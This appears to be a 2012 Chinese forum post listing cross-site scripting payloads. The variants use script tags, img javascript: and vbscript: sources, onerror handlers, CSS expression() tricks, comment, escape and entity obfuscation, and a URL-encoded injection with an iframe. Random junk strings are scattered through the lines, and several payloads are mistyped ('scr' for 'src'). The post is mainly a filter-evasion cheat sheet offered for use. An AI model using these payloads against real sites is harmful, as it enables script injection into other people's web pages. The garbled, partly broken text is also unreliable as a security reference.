<script>alert("跨站")</script> (最常用）
T r( c s+ |: {0 J9 y<img scr=javascript:alert("跨站")></img>
3 K- x: ~$ L# y9 {<img scr="javascript: alert(/跨站/)></img>
1 o$ [7 e6 ^! M0 Y# p1 m<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
" O, E) Y4 o. z- g7 l<img scr="#" onerror=alert(/跨站/)></img>
' |+ x) H" `0 F) A5 N<img scr="#" style="xss:expression(alert(/xss/));"></img>1 G# U9 R% z9 }& ^; B. u
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）; M5 ?# K- M" ]/ R. a0 r, @
<img src=vbscript:msgbox ("xss")></img>
9 w c9 N. y6 u0 c- l' S( F<style> input {left:expression (alert('xss'))}</style>% `0 F4 Q4 p+ h; `
<div style={left:expression (alert('xss'))}></div>: |. H3 T& Q( n3 s$ x( A/ E/ b
<div style={left:exp/* */ression (alert('xss'))}></div>) t, P6 I. ^2 d" j* h
<div style={left:\0065\0078ression (alert('xss'))}></div>9 x4 O- ?; y) H
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
- `4 e8 [5 O1 T1 c1 E# g# Zunicode <div style="{left:expRessioN (alert('xss'))}">5 A2 u( Z; j8 S+ A$ B
% }' P% I, B3 L! |. c, y8 B"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
2 s4 _6 {/ G8 V |
发表于 2012-9-15 14:09:13
收藏
支持
反对